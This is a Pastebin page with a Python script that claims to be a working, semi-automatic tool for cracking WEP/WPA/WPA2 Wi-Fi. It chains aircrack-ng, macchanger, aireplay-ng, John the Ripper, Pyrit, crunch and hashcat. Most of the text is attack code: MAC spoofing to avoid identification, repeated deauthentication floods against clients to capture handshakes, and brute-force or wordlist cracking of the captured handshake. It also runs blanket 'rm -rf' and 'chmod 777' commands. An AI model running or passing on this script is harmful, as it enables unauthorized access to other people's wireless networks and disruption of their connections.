pw0ned

WEP/WPA/WPA2

Sep 23rd, 2016
3,177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.16 KB | None | 0 0
  1. # Semi-automatic and simple (but working!) WEP/WPA/WPA2 Hacking script
  2. # External tools involved: Aircrack-ng pack, John the Ripper, Hashcat Ocl, Pyrit, Crunch, xterm.
  3. # Author: D35m0nd142
  4. # Before use it you may have to execute: "pip install termcolor"
  5.  
  6. #!/usr/bin/python
  7. # -*- coding: utf-8 -*-
  8. import os, sys, time
  9. from termcolor import colored
  10.  
  11. def killctrl():
  12. os.system("airmon-ng check kill")
  13.  
  14. wlist = ""
  15. print "\n+===========================================================================+"
  16. print "| DWH - Simple (but working) WEP/WPA/WPA2 Hacking script |"
  17. print "| Author: D35m0nd142, https://twitter.com/d35m0nd142 |"
  18. print "| Usage: Just run it and let it head you :) |"
  19. print "+===========================================================================+\n"
  20. time.sleep(1.5)
  21.  
  22. print "[*] Removing useless files..."
  23. os.system("rm -rf capture* || true")
  24. print "[*] Stopping (if existent) previous monitor modes..."
  25. os.system("airmon-ng stop mon0 > dwhs_out.txt && rm dwhs_out.txt")
  26. os.system("ifconfig mon0 down")
  27. print "[*] Rising permissions...\n";
  28. os.system("chmod 777 *")
  29. print colored("[SUCCESS] OK, I am ready to start now! ;)\n", 'yellow')
  30. os.system("airmon-ng")
  31. inf = raw_input("Enter your network interface -> ")
  32. print "[*] Spoofing MAC Address to hide your ass...\n"
  33. cmd = "macchanger -r %s" %inf
  34. os.system(cmd)
  35. cmd = "airmon-ng start %s > processes.txt" %inf
  36. os.system(cmd)
  37. killctrl()
  38. print "[WARNING] Press CTRL-C when you find the network you want to hack."
  39. time.sleep(3)
  40. os.system("airodump-ng mon0")
  41. enc = raw_input("Enter the encryption of the network -> ")
  42. bssid = raw_input("Enter the BSSID of the network you want to hack -> ")
  43. ssid = raw_input("Enter the ESSID of the network you have chosen -> ")
  44. ch = raw_input("Enter the channel on which the network is listening -> ")
  45. cmd = "xterm -hold -e \"airodump-ng -w capture_file --bssid %s -c %s mon0\" &" %(bssid, ch)
  46. os.system(cmd)
  47.  
  48. def client_send():
  49. client = raw_input("Enter the BSSID (STATION) of a client connected to the network -> ")
  50. cmd = "aireplay-ng -0 10 -a %s -c %s mon0" %(bssid, client)
  51. for count in range(1,15):
  52. os.system(cmd)
  53.  
  54. print colored("[WARNING] Check if \"WPA Handshake\" appeared in the other shell. Otherwise it is useless to go on!\n", 'red')
  55. time.sleep(1)
  56.  
  57. # WPA/WPA2 Hacking
  58. if(enc == "WPA" or enc == "WPA2" or enc == "wpa" or enc == "wpa2"):
  59. retry = "y"
  60. while(retry == "y" or retry == "Y" or retry == "yes"):
  61. client_send()
  62. retry = raw_input("Do you want to try with another connected client? [necessary if handshake did not appear] (y/n) ")
  63.  
  64. print "\n[*] Choose how to crack encrypted data: \n"
  65. print " 1) Wordlist"
  66. print " 2) BruteForce (Crunch with letters and numbers)"
  67. print " 3) JTR"
  68. print " 4) JTR+Pyrit"
  69. print " 5) JTR+Aircrack"
  70. print " 6) Hashcat"
  71. choice = raw_input("\n -> ")
  72.  
  73. if(choice == "1" or choice == "5" or choice == "6"):
  74. wlist = raw_input("\n[*] Enter your wordlist -> ")
  75.  
  76. if(choice == "1"):
  77. cmd = "aircrack-ng capture_file-01.cap -w ./%s" %wlist
  78. elif(choice == "2"):
  79. cmd = "crunch 8 20 abcdefghilmnopqrstuvwyxzkjABCDEFGHILMNOPQRSTUWYXZJ0123456789 | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
  80. elif(choice == "3"):
  81. cmd = "john --incremental=all --stdout | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
  82. elif(choice == "4"):
  83. cmd = "john --incremental=all --stdout | pyrit -r capture_file-01.cap -b %s -i - attack_passthrough" %(bssid)
  84. elif(choice == "5"):
  85. cmd = "john --stdout --wordlist=%s | aircrack-ng -b %s -e %s -w - capture_file-01.cap" %(wlist,bssid, ssid)
  86. else:
  87. os.system("aircrack-ng capture_file-01.cap -J hcfile")
  88. print colored("[WARNING] Hashcat module provides 3 different attacks. Stop the current one by yourself in case the previous one has been successfull.","red")
  89. time.sleep(2)
  90. print "[*] Using Hashcat Dictionary attack..."
  91. time.sleep(1)
  92. cmd = "hashcat -m 2500 hcfile.hccap %s" %wlist
  93. os.system(cmd)
  94. time.sleep(1)
  95. print "\n[*] Using Hashcat Rule-based attack..."
  96. time.sleep(1)
  97. cmd = "hashcat -m 2500 -r rules/best64.rule hcfile.hccap %s" %wlist
  98. os.system(cmd)
  99. time.sleep(1)
  100. print "\n[*] Using Hashcat Brute-Force attack..."
  101. time.sleep(1)
  102. print """\n ?l = abcdefghijklmnopqrstuvwxyz
  103. ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  104. ?d = 0123456789
  105. ?s = space\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
  106. ?a = ?l?u?d?s
  107. ?b = 0x00 - 0xff\n"""
  108. brute = raw_input("Enter your bruteforce custom-charset (ex: ?l?d) -> ")
  109. string = ""
  110. found = False
  111. try:
  112. os.remove("dwhs_dec.txt")
  113. except:
  114. pass
  115. while(found is False): # This loop was implemented keeping in mind Hashcat 0.49. If you have Hashcat 0.50 you can use "--increment" flag and
  116. # replace this piece of code. As you wish.
  117. string = string + "?1"
  118. pwmin = len(string)/2
  119. print "..Using %s characters.." %pwmin
  120. time.sleep(0.3)
  121. cmd = "hashcat -m 2500 -a 3 -n 32 --custom-charset1=%s --pw-min=%s hcfile.hccap %s -o dwhs_dec.txt" %(brute,pwmin,string)
  122. os.system(cmd)
  123. with open('dwhs_dec.txt') as f:
  124. if(len(f.read()) > 0):
  125. found = True
  126. if(choice == "1" or choice == "2" or choice == "3" or choice == "4" or choice == "5"):
  127. os.system(cmd)
  128.  
  129. # WEP Hacking
  130. else:
  131. cmd = "aireplay-ng -1 0 -a %s mon0" %bssid
  132. os.system(cmd) # check if AUTH is OPN
  133. cmd = "xterm -hold -e \"aireplay-ng -3 -b %s mon0\" &" %bssid
  134. os.system(cmd)
  135. cmd = "aireplay-ng -0 0 -a %s mon0" %bssid # it speeds up retrieving packets
  136. for count in range(1,7):
  137. os.system(cmd)
  138. goon = raw_input("\n[WARNING] Wait until you got AT LEAST 30K packets, then press ENTER to go on...")
  139. cmd = "aircrack-ng capture_file-01.cap"
  140. os.system(cmd)
  141.  
  142. print "Bye ;-)\n"
Advertisement
Add Comment
Please, Sign In to add comment